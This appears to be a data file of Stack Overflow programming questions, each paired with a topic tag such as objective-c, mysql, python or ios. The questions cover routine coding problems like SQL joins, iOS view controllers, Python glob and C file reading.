multiple inheritance in objective-c <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4192203/objective-c-multiple-inheritance >objective-c multiple inheritance</a>    </blockquote>     i want to implement multiple inheritance in objective-c i.e. i have a class  sub  which needs to be a sublass of class  super  as well as uitableviewcontroller    how can i acheive the same in obj-c,objective-c
increment nsnumber inside the gcd block  how can i increment the nsnumber which is inside the gcd block:    <pre><code>  -(void) dosomethingintensive:(nsnumber *) value {     dispatch_queue_t queue = dispatch_get_global_queue(dispatch_queue_priority_high  0);      dispatch_async(queue  ^{          value = [nsnumber numberwithint:[value intvalue] + 1];      }); } </code></pre>,objective-c
simple mysql query returns multiple rows  i have the following table structure for my users and friends table.    <pre><code>users: first_name  last_name  friends: to_id  from_id  friend_status </code></pre>   so if users <code>4 and 7</code> are friends  i store them in the friend s table as <code>4 | 7 | 1</code> or <code>7 | 4 | 1</code> depending on who initiated the friendship. i do not do duplicate entries so 4 | 7 | 1 and 7 | 4 | 1 are not stored. only one will be stored.    my problem is when i want to do a simple search for a friend whose name is paul. each of the following snippets below work fine by themselves but together  i get multiple rows that show inacurrate users who are not even friends.    <pre><code>select u.* from `users` u  `friends` f where concat(u.first_name     u.last_name)  like  %paul%   and ((f.to_id=$logged_in_uid or f.from_id=$logged_in_uid)  and f.friend_status=1); </code></pre>   again  the above doesn t even return the friends  but the latter portion alone does bring back friends when used by itself.    thanks and any help is truly appreciated :),mysql
mark property as deprecated in objective c  how can i mark a @property in objective c as deprecated,objective-c
return list<contentinfo> - issues problems in .net core 2.0  it s like i m just trying to get some content on my layout page for which will appear in the menu.    right now  it only presents problems as it does not show it.    it looks like this in my  helper  class that displays menu content.   <pre><code>public readonly dbcontext _dbcontext;      public helperviewclass(dbcontext context)     {         _dbcontext = context;     }      public static list&lt;contentinfo&gt; listmenu()     {         return _dbcontext.contentinfo.where(i =&gt; i.showmenu == true).orderbydescending(i =&gt; i.id).tolist();     } </code></pre>   error: <strong>an object reference is required for the non-static field  method  or property  helperviewclass._dbcontext </strong>    <strong>how should it be </strong>    what i want this piece to do is send the content back with <code>showmenu == true</code>. that s just what it s supposed to do.,c#
ios custom keyboard - spotlight search  i am working on a custom keyboard with my own autocorrect logic in objective-c. i want to turn off autocorrect when the keyboard pops in spotlight or other search fields. how to check if the keyboard pops up in search fields like spotlight,objective-c
.net object size limit  it seems there is a 2 gb size limit for objects in .net: <a href= https://stackoverflow.com/questions/4284381/how-to-run-fsi-exe-in-64-bits >how to run fsi.exe in 64 bits </a>    is there a work around this   i would like to load a very large float array (10 gb) in memory and then do some work.    thanks,.net
python s glob only returning the first result  i am really stumped on this one.    i have a simple python wrapper which looks something like this:   <pre class= lang-py prettyprint-override ><code>import glob  for found in glob.glob(filename):   if not os.path.isdir(found):     my_module.do_stuff(found) </code></pre>   where <code>filename</code> has been read in from <code>sys.argv</code>.    when i try <code>glob</code> in an interactive shell  or a hello world script  i get the full list of (in this case 5) files. however  when i use it in this context  i only get the first one (alphabetically).    i ve checked by catching the result of <code>glob.glob</code> in an array and sure enough  it s only got a <code>len()</code> of 1  even when the filename is just <code> * </code>.    what could i possibly be doing that breaks <code>glob</code> !    full code file  just in case you can spot my gotcha:   <pre class= lang-py prettyprint-override ><code>#! /usr/bin/python import pynet.quadrons as q import os  glob  def print_usage():   print         (blah blah big long string.)         if __name__ ==  __main__ :   import sys   if len(sys.argv) &lt; 2:     print_usage()     exit()    filename =       try:     filename = sys.argv[1]   except:     print  error parsing arguments.      print_usage()     exit()    for found in glob.glob(filename):     if not os.path.isdir(found):       q.load_and_analyse_file(found) </code></pre>,python
best way to time a python function  and get that function s output   to time a python function  <a href= https://stackoverflow.com/questions/7523767/how-to-use-python-timeit-when-passing-variables-to-functions >the most common approach seems to involve the  timeit  module</a>  which returns the time that it took to run the function  but does not return the output of the function.     is there a module which does the same thing as timeit  but which returns the output of the function  in addition to the running time  or is it necessary to implement that manually  if implementing this manually  what s a good timing function for this purpose  which is reasonably accurate  and which doesn t have a lot of overhead (options include  os.times()  datetime.now()  etc.),python
which tools are used for solving memory leaks in iphone   which tools are used for solving memory leaks in iphone,iphone
i  m not getting ng-message on validation  i m creating a form on angularjs  i m using required attribute on username  it s not working on submitting the form.   <pre><code>&lt;div ng-app= myownmodule  ng-controller= myowncon &gt;   &lt;form name= myownform  novalidate &gt;     &lt;input type= text  name= moname  id= moname  ng-model= myownform.moname  required /&gt;     &lt;div ng-messages= myownform.moname.$error  ng-if= myownform.moname.$touched &gt;       &lt;p ng-message= myownform.moname.$error.required &gt;required&lt;/p&gt;     &lt;/div&gt;     &lt;input type= submit  name= mosave  id= mosave  ng-click= send($event)  value= send  /&gt;   &lt;/form&gt; &lt;/div&gt; </code></pre>   <strong>my module</strong>   <pre><code>var myownmodule = angular.module( myownmodule   [ ngmessages ]); </code></pre>,angularjs
sql optimization tips  i am a beginner  to sql and have some performance problems with this query. any tips  the query is running on a huge database...   <pre><code>select                 z_screenshots.guid                  z_screenshots.player_name                  z_screenshots.server                  z_screenshots.map                  z_screenshots.created                  z_screenshots.uploaded                  z_screenshots.uploader_id                  z_screenshots.filesize             from z_screenshots              inner join (                 select clients.guid                 from clients where clients.id not in (                     select clients.id                     from clients                     inner join (                         select client_id                         from penalties                         where penalties.inactive = 0 and(penalties.type =  ban  or (penalties.type =  tempban  and from_unixtime(penalties.time_expire) &gt; now()) )                         group by penalties.client_id                     ) penalties                     on clients.id = penalties.client_id                 )             ) clients             on z_screenshots.guid = clients.guid              order by z_screenshots.uploaded desc             limit     ; </code></pre>,sql
keep angular - xeditable in edit mode  i am using an angular component called <a href= https://vitalets.github.io/angular-xeditable/#editable-row  rel= nofollow >angular - xeditable</a> to basically perform all crud within a table . the problem is that if i create a new row to a new record   leaving the fields blank and click   save  it disables the edit mode   i need you as the user does not inform all the record fields continue mode edition.,angularjs
sql simple query where company_name != to  value  <pre><code>select employee_name from works where works.company_name != ( bp ) </code></pre>   below is the only table i need to reference    <pre><code>create table works ( employee_name varchar(100)  company_name varchar(100)  salary integer  foreign key (employee_name) references employee(employee_name)  foreign key (company_name) references company(company_name)  check (salary &gt; 0) ) </code></pre>   why would this above query still return results of employee s who work for bp   what am i doing wrong   the query does run successfully but returns names of people who work for bp in my sample database.,sql
ssl requests fail intermittently on ios 8.0 but works fine on ios 7.0 apps  we are using <em>clientcertificate authentication for ssl requests</em>. this is working fine in <strong>ios 7.0</strong> but fails randomly on ios 8.0.     the error message is   <blockquote>    nsurlconnection/cfurlconnection http load failed   (kcfstreamerrordomainssl  -9846) 2014-09-30 12:27:29.517   login response error domain=nsurlerrordomain   code=-1200  an ssl error has occurred and a secure connection to the   server cannot be made.  userinfo=0x7fce4bf0ced0   {nsurlerrorfailingurlpeertrusterrorkey=    nslocalizedrecoverysuggestion=would you like to connect to the server   anyway   _kcfstreamerrorcodekey=-9846    nsunderlyingerror=0x7fce4bd2b9b0  an ssl error has occurred and a   secure connection to the server cannot be made.     nslocalizeddescription=an ssl error has occurred and a secure   connection to the server cannot be made.  </blockquote>   any help regarding this would be really helpful.,ios
non consumable in-app purchse using mkstorekit4   i have an iphone application in which i am using two types of purchases.non consumable products and a subscription.for subscription i have to use mkstorekit4 anyway.so i need to implement the nonconsumable also in the storekit4.anybody knows the steps to integrate nonconsumable products with mkstorekit4.can anybody help me.,iphone
uinavigationcontroller madness   i have two issues that i don t understand and am hoping that someone can help.    this code doesn t work for taking my existing uinavigationcontroller hierarchy from a split view controller and taking over the screen with it. i just get a dark screen   <pre><code>uinavigationcontroller* myself = self.navigationcontroller; [myself removefromparentviewcontroller];  uiviewcontroller *controller = [self.storyboard instantiateviewcontrollerwithidentifier:@ questionnaireviewcontroller ]; [myself pushviewcontroller:controller animated:yes];  appdelegate *app = (appdelegate *)[[uiapplication sharedapplication] delegate]; app.window.rootviewcontroller = myself; </code></pre>   however  this code does work. why can i set the rootviewcontroller to a new uinavigationcontroller but not self.navigationcontroller    <pre><code>uinavigationcontroller *navcontroller = [[uinavigationcontroller alloc] init]; uinavigationcontroller* myself = self.navigationcontroller; [myself removefromparentviewcontroller]; navcontroller.viewcontrollers = myself.viewcontrollers;  uiviewcontroller *controller = [self.storyboard instantiateviewcontrollerwithidentifier:@ questionnaireviewcontroller ]; [navcontroller pushviewcontroller:controller animated:yes];  appdelegate *app = (appdelegate *)[[uiapplication sharedapplication] delegate]; app.window.rootviewcontroller = navcontroller; </code></pre>   my second issue is in restoring the navigation controller to the splitviewcontroller when the user goes  back . i know from experience that i can assign a new uinavigationcontroller to the detailview  but i cannot assign self.navigationcontroller.    i think the issues are the same issue. for some reason a new uinavigationcontroller is not the same as a uiview s navigationcontroller. why,ios
how to make the html file  i am developing one application. in that app i am getting the html content from the <code>nsxmlparser</code>. and i need to send that html data to <code>uiwebview</code>. so please tell me how to give that html data as input to <code>uiwebview</code> or how to create new html file with that data and how to run that html file,iphone
problems using #include <boost/algorithm/string.hpp>  i am trying to use the boost header file #include   to but it keeps giving me an error saying   no such file/directory exists,c++
mask_rcnn visualize.py unexpected indentation error  i was setup to mask_rcnn <a href= https://github.com/markjay4k/mask-rcnn-series  rel= nofollow noreferrer >https://github.com/markjay4k/mask-rcnn-series</a> unfortunately python code not run. how can i fix that    <blockquote>    ai@ec:~/anaconda3/mask_rcnn$ python visualize.py<br>   file  visualize.py   line 77<br>   &nbsp;&nbsp;model.load_weights(coco_model_path  by_name=true)<br>   &nbsp;&nbsp;^ indentationerror: unexpected indent  </blockquote>  <pre><code> root_dir = os.getcwd()  model_dir = os.path.join(root_dir   logs )  coco_model_path = os.path.join(root_dir   mask_rcnn_coco.h5 )  if not os.path.exists(coco_model_path):      utils.download_trained_weights(coco_model_path)   class inferenceconfig(coco.cococonfig):      gpu_count = 1      images_per_gpu = 1   config = inferenceconfig()  config.display()   model = modellib.maskrcnn(      mode= inference   model_dir=model_dir  config=config  )  model.load_weights(coco_model_path  by_name=true)  class_names = [ </code></pre>,python
uitableviewcustomcell  i want to use uitablecustomcell in my application but i am invoking the custom cell from another class. when i use uitableviewcell then i need to add these lines to call tableviewcells from another class   <pre><code>/* surahviewcontroller *abookdetail = [[surahviewcontroller alloc]                                initwithnibname:@ surahview  bundle:nil]; self.surahviewcontroller = abookdetail; [self.navigationcontroller pushviewcontroller:surahviewcontroller animated:yes]; [abookdetail release]; */ </code></pre>   but when i use uitableviewcustomcell in my application and i want to invoke custom table view cell from another class then there is no idea of what code to use to call that uitablecustomcell from another class.    thank you in advance.,iphone
deprecated reference to top-level constant  task   i have a model named  task  in my project.    i upgraded from rails 3.0 to rails 3.1 and now i receive the following error. my code hasn t changed.   <pre><code>&gt;&gt; task.new warning: deprecated reference to top-level constant  task  found at: /library/ruby/gems/1.8/gems/rake-0.8.7/lib/rake.rb:2470:in `rakefile_location      use --classic-namespace on rake command     or  require  rake/classic_namespace   in rakefile argumenterror: wrong number of arguments (0 for 2)     from (irb):1:in `initialize      from (irb):1:in `new      from (irb):1 </code></pre>   i m scared i ve called my model something that should have been reserved  what should i do for best practice  refactor and change the name  or something else     <strong>update:</strong> i tried it s suggestion of updating the rakefile  but this did not work.,ruby-on-rails
nsfilemanager createfile failed <pre><code>nsarray *paths=nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);  nsstring *documentsdirectory = [paths objectatindex:0];  nsstring *filepath;  if (str_foldername!=nil){     filepath = [documentsdirectory stringbyappendingpathcomponent:[nsstring stringwithformat:@ /%@/%@  str_foldername str_filename]]; } else {     filepath = [documentsdirectory stringbyappendingpathcomponent:[nsstring stringwithformat:@ /%@  str_filename]]; }  nsfilemanager *filemanager = [nsfilemanager defaultmanager]; nsmutabledictionary *data;  if ([filemanager fileexistsatpath: filepath]) {     //file is exist     data = [[nsmutabledictionary alloc] initwithcontentsoffile:filepath];  } else {     bool success = [filemanager createfileatpath:filepath contents:nil attributes:nil];     // sometime return yes  sometime return no &lt;&lt;&lt; this is my question     if(success == yes){         data = [[nsmutabledictionary alloc] initwithcontentsoffile:filepath];     }else{          data = [[nsmutabledictionary alloc] init];                 } }  for (uint32_t u32_cnt=0;u32_cnt&lt;arr_keys.count;u32_cnt++) {     [data setvalue:[nsstring stringwithformat:@ %@  [marr_data objectatindex:u32_cnt]] forkey:[arr_keys objectatindex:u32_cnt]]; }  if ([data writetofile:filepath atomically: yes]) {     nslog(@ [save ok] );      return def_pass; } else {     nslog(@ [save fail] );  &lt;&lt;&lt;&lt;   now happened } </code></pre>   if i have checked file is not exist  then i want to create file as filepath    my device sometime success  sometime failed    filepath is as below:   <blockquote>    @ /var/mobile/containers/data/application/xxxxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxx/documents/mfolder/myfile   </blockquote>   someone could help me,objective-c
how to build a queue for sign up like the mailbox app   i ve searched to try and find the answer  and maybe it s very obvious  but i haven t been able to find it.     could anyone shed some light on how to go about building a user sign up queue like mailbox did for the launch of their ios app     image of what i mean    <img src= https://i.stack.imgur.com/9cuue.png  alt= enter image description here >    thanks!,ios
reverse count in mysql <pre><code>id  one two thr fou five 1   37  84  1   68  10 2   72  50  87  41  67 3   66  30  89  57  48 4   29  27  35  75  36 5   2   72  9   1   55 6   33  89  17  40  64 7   70  90  63  26  54 8   36  19  51  43  61 9   10  61  20  44  84 10  2   41  43  65  87 </code></pre>   i need to reverse count each number in the above table.    examples:   <pre><code>61=&gt;1 because if you count from the bottom to the first 61 there s 1 row 26=&gt;3 because if you count from the bottom to the first 26 there are 3 rows 9=&gt;5 because if you count from the bottom to the first 9 there are 5 rows and so on... </code></pre>   the query should output a table similar to the following for all numbers:   <pre><code>number  rows count 61  1 26  3 9   5 </code></pre>   the problem here is: how to reverse count in mysql  is there a special function  thank you,mysql
cron job php unable to load dynamic library <pre><code>php warning:  php startup: unable to load dynamic library  /usr/lib/php/20151012/php_mysqli.dll  - /usr/lib/php/2015101 2/php_mysqli.dll: cannot open shared object file: no such file or directory in unknown on line 0 php warning:  php startup: unable to load dynamic library  /usr/lib/php/20151012/php_pdo_firebird.dll  - /usr/lib/php/2 0151012/php_pdo_firebird.dll: cannot open shared object file: no such file or directory in unknown on line 0 php warning:  php startup: unable to load dynamic library  /usr/lib/php/20151012/php_pdo_mysql.dll  - /usr/lib/php/2015 1012/php_pdo_mysql.dll: cannot open shared object file: no such file or directory in unknown on line 0 php warning:  php startup: unable to load dynamic library  /usr/lib/php/20151012/php_pdo_oci.dll  - /usr/lib/php/201510 12/php_pdo_oci.dll: cannot open shared object file: no such file or directory in unknown on line 0 php warning:  php startup: unable to load dynamic library  /usr/lib/php/20151012/php_pdo_odbc.dll  - /usr/lib/php/20151 012/php_pdo_odbc.dll: cannot open shared object file: no such file or directory in unknown on line 0 php warning:  php startup: unable to load dynamic library  /usr/lib/php/20151012/php_pdo_pgsql.dll  - /usr/lib/php/2015 1012/php_pdo_pgsql.dll: cannot open shared object file: no such file or directory in unknown on line 0 php warning:  php startup: unable to load dynamic library  /usr/lib/php/20151012/php_pdo_sqlite.dll  - /usr/lib/php/201 51012/php_pdo_sqlite.dll: cannot open shared object file: no such file or directory in unknown on line 0 php warning:  php startup: unable to load dynamic library  /usr/lib/php/20151012/php_pgsql.dll  - /usr/lib/php/20151012 /php_pgsql.dll: cannot open shared object file: no such file or directory in unknown on line 0 php warning:  module  pdo  already loaded in unknown on line 0 </code></pre>   i am on ubuntu 16.04 trying to get a cron job running correctly for an oxwall site.,php
migration for changing belongs_to association  i have a model called <code>categories</code> currently they belong to <code>product</code> but i d like them to belong to <code>store</code> instead. i have several thousand of these so what i d like to do is create a migration that adds a <code>store_id</code> to categories and then  gets the associated <code>product.store.id</code> from it s current association and adds that to the <code>store_id</code>. after that i d like to remove the product association.    does anybody know how to easily and safely achieve that,ruby-on-rails
delay the showing of a ajax loading gif using jquery  what is the best way to put a delay on the showing of a ajax-loader gif. when i click a button the loader gif shows and hides even if the time taken is a few hundred milli-seconds  this gives the browser a kind of flicker. what i want is to say only show the gif if it takes more than say 1000 milli-seconds to complete the ajax request.    <pre><code> &lt;script type= text/javascript &gt;      $(document).ready(function() {          $( #loader ).hide();          $( #btngetpeople ).click(function() {             $( #loader ).show();              $.getjson( /user/getname/10                   null                  function(data) { showperson(data); });          });      });       function showperson(data) {          alert(data);          $( #loader ).hide();      } &lt;/script&gt; </code></pre>   my loader div contains....   <pre><code>&lt;div id= loader &gt;&lt;img alt=   src= /content/ajax-loader.gif  /&gt;&lt;/div&gt; </code></pre>   what is the best technique to achieve this,jquery
can not connect and use custom font in ios app  i download this font: <a href= http://www.alliphonefont.com/iphone-ipad-font/neucha/146  rel= nofollow >http://www.alliphonefont.com/iphone-ipad-font/neucha/146</a> but can not connect it. i add this file in project  add to the plist  copy bundle resources  but can t see it in list of available fonts in log. help me pleas!,ios
iterating through a list doesn t check each object <pre><code>if (rowcount[i] &gt;= 10) {     for (int j = 0; j &lt; blocks.count; j++)     {         if (blocks[j].row == i)         {             blocks.removeat(j);             rowcount[i]--;         }     }     foreach (block b in blocks)     {         if (b.row &lt; i)         {             b.row++;             rowcount[b.row]++;         }     } } </code></pre>   so say i have 20 blocks in the blocklist.  i went through the program line-by-line debugging  and i saw that it doesn t check through each block in the list- it usually leaves around 4 or 5 unchecked.  am i going crazy or is there something i m missing,c#
how to retrieve my data from database into checkbox list view type   i m trying to retrieve my data from database into checkbox list view  but i m unable to do so. below is the code that i m already using to retrieve data from database into list view. but what i want is to retrieve into checkbox list view type so that i can check it. how can i do that     public class studentdetailactivity extends activity implements onclicklistener  onitemclicklistener {   <pre><code>private listview ugraduatenameslistview; private button addnewundergraduatebutton;   private listadapter ugraduatelistadapter;  private arraylist&lt;undergraduatedetailspojo&gt; pojoarraylist;  /** called when the activity is first created. */ @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_student_detail);       ugraduatenameslistview = (listview) findviewbyid(r.id.ugraduatelistview);     ugraduatenameslistview.setonitemclicklistener(this);      addnewundergraduatebutton = (button) findviewbyid(r.id.nameslistviewaddbutton);     addnewundergraduatebutton.setonclicklistener(this);      pojoarraylist = new arraylist&lt;undergraduatedetailspojo&gt;();       ugraduatelistadapter = new arrayadapter&lt;string&gt;(this  android.r.layout.simple_list_item_1  populatelist());      ugraduatenameslistview.setadapter(ugraduatelistadapter);  }  @override public void onclick(view v) {     intent addnewundergraduateintent = new intent(this  addnewundergraduateactivity.class);     startactivity(addnewundergraduateintent); }   public list&lt;string&gt; populatelist(){      list&lt;string&gt; ugraduatenameslist = new arraylist&lt;string&gt;();     androidopendbhelper openhelperclass = new androidopendbhelper(this);     sqlitedatabase sqlitedatabase = openhelperclass.getreadabledatabase();     cursor cursor = sqlitedatabase.query(androidopendbhelper.table_name_gpa  null  null  null  null  null  null);      startmanagingcursor(cursor);     while (cursor.movetonext()) {          string ugname = cursor.getstring(cursor.getcolumnindex(androidopendbhelper.column_name_undergraduate_name));         string uguniid = cursor.getstring(cursor.getcolumnindex(androidopendbhelper.column_name_undergraduate_uni_id));         double uggpa = cursor.getdouble(cursor.getcolumnindex(androidopendbhelper.collumn_name_undergraduate_gpa));          undergraduatedetailspojo ugpojoclass = new undergraduatedetailspojo();         ugpojoclass.setugraduatename(ugname);         ugpojoclass.setugraduateuniid(uguniid);         ugpojoclass.setugraduategpa(uggpa);          pojoarraylist.add(ugpojoclass);          ugraduatenameslist.add(ugname);     }      sqlitedatabase.close();      return ugraduatenameslist; } @override protected void onresume() {     super.onresume();     pojoarraylist = new arraylist&lt;undergraduatedetailspojo&gt;();     ugraduatelistadapter = new arrayadapter&lt;string&gt;(this  android.r.layout.simple_list_item_1  populatelist());             ugraduatenameslistview.setadapter(ugraduatelistadapter);         }  @override protected void onstart() {     super.onstart();     pojoarraylist = new arraylist&lt;undergraduatedetailspojo&gt;();     ugraduatelistadapter = new arrayadapter&lt;string&gt;(this  android.r.layout.simple_list_item_1  populatelist());             ugraduatenameslistview.setadapter(ugraduatelistadapter);     }  public void onclick1 (view view) { intent newintent; newintent=new intent(this homepageactivity.class); startactivity(newintent); }  @override public void onitemclick(adapterview&lt; &gt; arg0  view arg1  int arg2  long arg3) {      toast.maketext(getapplicationcontext()   clicked on :  + arg2  toast.length_short).show();      intent updatedeleteugraduateintent = new intent(this  updatedeleteundergraduateactivity.class);      undergraduatedetailspojo clickedobject =  pojoarraylist.get(arg2);      bundle databundle = new bundle();     databundle.putstring( clickedugraduatename   clickedobject.getugraduatename());     databundle.putstring( clickedugraduateuniid   clickedobject.getugraduateuniid());     databundle.putdouble( clickedugraduategpa   clickedobject.getugraduategpa());      updatedeleteugraduateintent.putextras(databundle);      startactivity(updatedeleteugraduateintent);  } </code></pre>   },android
interface of the list in c++  i found some interface for the list: and there i found this constructor   <pre><code>template&lt;typenamet&gt; ...  list(size_tnum  constt&amp; val = t()); ... </code></pre>   can somebody explain what is this:  <code>constt&amp; val = t()</code>    thanks in advance,c++
using one input data in two tasks  is there a way to use one input data in two tasks  i have a program that has to check if an email matches a particular pattern and at the end if an email is correct the program prints it. in my case i have to write the email twice  one time so an email can be stored in a variable <code>email = in.readline();</code> and the second time so it can be checked <code>vname = in.readidentifier();</code> and i want to write it just once.   <pre><code>out.print( please enter an email-adress:  ); email = in.readline(); name = in.readidentifier(); if (!in.done()) {     out.println( error : false name );     return; } </code></pre>,java
jquery exander/collapse but not first  here is the code:   <pre><code>&lt;script type= text/javascript &gt;   jquery(document).ready(function(){   jquery( .toexpand ).next().hide();   jquery( .toexpand ul:first ).slidetoggle();    jquery( .toexpand ).click(function () {   jquery(this).next().slidetoggle( medium );   }); });  &lt;/script&gt; </code></pre>   i like to start all the ul next to the .toexpand collapse  but not the first one... my code dont work  why,jquery
adding content to a getasync  when using httpclient and performing a postasync i am able to add a contract with httpcontent. for example    <pre><code>httpcontent content = new objectcontent&lt;mycontracttype&gt;(mycontract  xmlformatter); var resp myclient.postasync(myuri content).result </code></pre>   when doing a getasync i am unable to pass a httpcontract object. that said do i need to just add the members of the contract in a query string or is there a better way to go about it,c#
.net value types and reference types   value types are stack allocated  whereas reference types live on the managed heap.     if i have a local variable (like int a=2;) within a method of a class  where is it allocated     in our example  a value type is contained within a reference type. since the reference lives in the managed heap  i am assuming the value type here (int a) is also in the managed heap and not the stack.    am i missing something here,.net
how can i use log.d to get what has passed to a variable in my activity  and where can i see the result   its a noob question  but i d searched quite a while but i didn t understand    i really want to find what is the value that is passed to a variable..and where can i see the result,android
how to generate a complete list of fully qualified class names of .net framework   i am studying .net framework  being very beginner in ms development  and i d like to have a text file containing every fully qualified class name of the .net framework  so that when i am  curious  about some functionality being available or not  and in which namespace  i could  grep  this text file and take a look.    possible approaches would be  using for example a python script  to crawl msdn doc pages  traverse local documentation files  traverse the very .net installed files  or perhaps text-processing some page which itself contains this list.    thanks for any hint!,.net
how to get  storage almost is full  notification in my app  how to get  storage almost is  full  notification in my app  and i can do suspend my download thread.    i have trid didreceivememorywarning(appdelegate)  it failed.    thanks,ios
what is the error in the following mysql statement  <pre><code> insert into messages (idr ids names message read) values     ($id  $_session[id]   $myname   $message  1) ; </code></pre>   it says you have mysql error syntax near read) values ($id  $_session[id]   $myname   $message  1),mysql
how can i define a method with multiple optional arguments in obj-c  i want to be able to update two sets of identical buttons with one function. also i don t want to update all the buttons  only some of them.    can i have a function like this :   <pre><code>-(void) updatefields{                     updatebutton1 : (bool) x                     updatebutton2 : (bool) y                     updatebutton3 : (bool) z } </code></pre>   the implementation will look like this:   <pre><code>[button1_1 setenabled:x]; [button1_2 setenabled:x]; //called only if updatebutton1 is given an argument [button2_1 setenabled:y]; etc... </code></pre>,objective-c
negative coordinates in uiview.frame  i have an uiview with frame: cgrectmake(0 0 1024 768);    and i want to set (0 0) point of that subview to (0  512);    i tried:   <pre><code>cgrect fr = self.frame; fr.origin.x = self.bounds.size.width / 2; self.frame = fr; </code></pre>   it seems ok  but negative coordinates doesn t work. i want x from -512 to 512.    what should i do make negative coords work,objective-c
differences in assigning pointers to vector  i am new to c++  and i ve seen a code like this    <pre><code>std::vector&lt;element*&gt; *interactedelems </code></pre>   where <code>element</code> is a class. but not sure sure about the differences in the following cases:   <ol> <li><code>std::vector&lt;element&gt; *interactedelems</code></li> <li><code>std::vector&lt;element*&gt; interactedelems</code></li> <li><code>std::vector&lt;element*&gt; *interactedelems</code></li> <li><code>std::vector&lt;element*&gt; ＆ interactedelems</code></li> </ol>,c++
dynamic template controls  on !postback dynamic templates are created based on the number of rows needed for check boxes.  the control id s are chkbox_id.  i am unable to retrieve the dynamic check boxes via the following code and nullreferenceexception is always thrown.      the code before loops through the gridview rows  then datatable dt references the possible number of dynamic columns.   <pre><code>    for (int i = 0; i &lt; dt.rows.count; i++)     {         string id = dt.rows[i][ id ].tostring();          checkbox cb = (checkbox)row.findcontrol( ckbox_  + id);         if (cb.checked)         { // do things  }      } </code></pre>   checkboxes defined here within page load:   <pre><code>if (!page.ispostback) {     foreach (datarow drow in dt.rows)     {         templatefield ckhcolumn = new templatefield();         ckhcolumn.headertemplate = new gridviewtemplate(listitemtype.header  drow[ name ].tostring());         ckhcolumn.itemtemplate = new gridviewtemplate(listitemtype.item   ckbox_  + drow[ id ].tostring());         gvproductpricelist.columns.add(ckhcolumn);     }            } </code></pre>   let me know if i need to clarify anything else.,asp.net
using a select case statement in activerecord  as rails model default_scope  i have a model  user  which can either be an individual or a company  depending on the value of a boolean  <code>is_company</code>. if the user is a company  <code>company_name</code> stores the name; if the user is an individual  <code>first_name</code> and <code>last_name</code> stores their name.    in the vast majority of cases  i want the users to be sorted by <code>last_name</code> or <code>company_name</code> by default  so i m using a default_scope in my user model.    however  the way i have it - even though it works for sqllite - is not database agnostic. can anyone let me know how i can refactor this to accept a parameter of  true  in the case statement    <pre><code>default_scope select( users.* ) default_scope select( case when is_company =  t  then company_name else last_name end as sort_name ) default_scope order( sort_name asc ) </code></pre>   thanks!,ruby-on-rails
best approach for defining sub menu in rails app  could you please suggest the best approach for the following cases:     approach for sub menu:     i have different submenu like submenu1  submenu2 etc(each submenu having its own tab options).     i want to show up submenu as per the page means divide the submenu according to the open pages.   <pre><code>what i am planning for this: &lt;% content_for(:menu) do %&gt;     &lt;%=  render :partail =&gt;  submanu  %&gt; &lt;% end %&gt;  and calling that section by &lt;%= yield(:menu) %&gt; </code></pre>   thanks,ruby-on-rails
how to return the value from main function when error happens in sub function  i need to return the value from main function named excute();   <pre><code>class twcrawlercommand extends containerawarecommand {      public function test(){         $some.... // error happnes!!             return  1 //errorcode  1 ;     }      public function excute(){         $returncode = $this-&gt;test();         if ($returncode){return $returncode;}      }  } </code></pre>   in this code  i can return the $returncode when error happnes in test();    however  what if the function nest is more deeper or complicated     i think it might be a bit clumsy to pass the $returncode one-by-one.    is there any better way to pass the returncode to main function,php
c read file  struct and infinity loop  i wrote a program that collects user data and saves it to a file. at the moment when he wants to view the file  the program loops and shows only the first record. i do not know what this error is caused.   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt;  file *fptr;    struct notification {     char name[50];     char lastname[50];     char price[10];     char descreption[100]; }notification;  void insertrecord() {     fptr=fopen( g:\\file.txt   a+ );      fflush(stdin);      printf( podaj imie:  );     gets(notification.name);      printf( podaj nazwisko:  );     gets(notification.lastname);      printf( podej cene:  );     gets(notification.price);      printf( podaj opis usterki:  );     gets(notification.descreption);      strcat(notification.descreption  \n );       if(fwrite(&amp;notification sizeof(notification) 1 fptr) != 1)     {         perror( blad:  );     } else{          printf( dane dodane poprawnie\n );      }     fclose(fptr); }  void readdatabase() {      struct notification *object2=malloc(sizeof(struct notification));     fptr=fopen( g:\\file.txt   rb );      fread(object2 sizeof(struct notification) 1 fptr);      while(!feof(fptr))     {          printf( imie: %s\n   object2-&gt;name);         printf( nazwisko: %s\n   object2-&gt;lastname);         printf( cena: %s\n   object2-&gt;price);         printf( opis: %s\n   object2-&gt;descreption);         printf( ==========\n );     }      fclose(fptr); }  int main() {     int i option=0 check=0;      do{         printf( 1) dodaj rekord do bazy \n );         printf( 2) odczytaj rekordy z bazy \n );         printf( 0) zakoncz program \n );          scanf( %d   &amp;option);          switch (option)         {             case 1:                 insertrecord();                 break;             case 2:                 readdatabase();                 break;             default:                  break;         }         }while(check == 0); //petla dziala dopóki zmienna check bedzie równa 0  } </code></pre>   edit:    correct <code>insertrecord</code> function:   <pre><code>void insertrecord() {     fptr=fopen( g:\\file.txt   a+ );      fflush(stdin);      struct notification *obj = malloc(sizeof(struct notification));       printf( podaj imie:  );     gets(obj-&gt;name);      printf( podaj nazwisko:  );     gets(obj-&gt;lastname);      printf( podej cene:  );     gets(obj-&gt;price);      printf( podaj opis usterki:  );     gets(obj-&gt;descreption);      strcat(notification.descreption  \n );       if(fwrite(obj sizeof(struct notification) 1 fptr) != 1)     {         perror( blad:  );     } else{          printf( dane dodane poprawnie\n );      }     free(obj);     fclose(fptr); } </code></pre>   now all display and insert ok  but in file.txt i see chinese characters  why,c
lagging timers due to pangesture   when timers are running and i am trying to drag a button around the screen  my timers lag. this is noticeable because the timers are moving images.    is there a way to solve this by changing something  or do i have to change my whole project,ios
